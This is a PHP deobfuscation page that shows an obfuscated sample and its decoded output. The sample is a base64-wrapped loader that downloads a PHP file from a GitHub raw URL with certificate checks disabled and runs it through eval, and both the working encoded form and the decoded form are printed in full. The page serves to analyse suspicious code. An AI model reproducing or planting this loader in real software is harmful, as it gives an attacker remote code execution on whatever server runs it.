Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode("PD9waHAKZXJyb3JfcmVwb3J0aW5nKCk7CglmdW5jdGlvbiBnZXRfY29ud..
Decoded Output download
?>b'<?php
error_reporting();
function get_contents($url){
$ch = curl_init("$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,$GLOBALS[\'coki\']);
curl_setopt($ch, CURLOPT_COOKIEFILE,$GLOBALS[\'coki\']);
$result = curl_exec($ch);
return $result;
}
$a = get_contents(\'https://raw.githubusercontent.com/bellpwn/opet/main/asw.php\');
eval(\'?>\'.$a); ?>'
Did this file decode correctly?
Original Code
<?php
eval("?>".base64_decode("PD9waHAKZXJyb3JfcmVwb3J0aW5nKCk7CglmdW5jdGlvbiBnZXRfY29udGVudHMoJHVybCl7CgkJJGNoID0gY3VybF9pbml0KCIkdXJsIik7CgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICJNb3ppbGxhLzUuMChXaW5kb3dzIE5UIDYuMTsgcnY6MzIuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8zMi4wIik7CgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsKCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDApOwoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsJEdMT0JBTFNbJ2Nva2knXSk7CgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsJEdMT0JBTFNbJ2Nva2knXSk7CgkJJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOwoJCXJldHVybiAkcmVzdWx0OwoJfQoJCSRhID0gZ2V0X2NvbnRlbnRzKCdodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmVsbHB3bi9vcGV0L21haW4vYXN3LnBocCcpOwoJCWV2YWwoJz8+Jy4kYSk7ID8+")); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 79f5cf60ec05b16ad84f258b895d48c9 |
Eval Count | 1 |
Decode Time | 60 ms |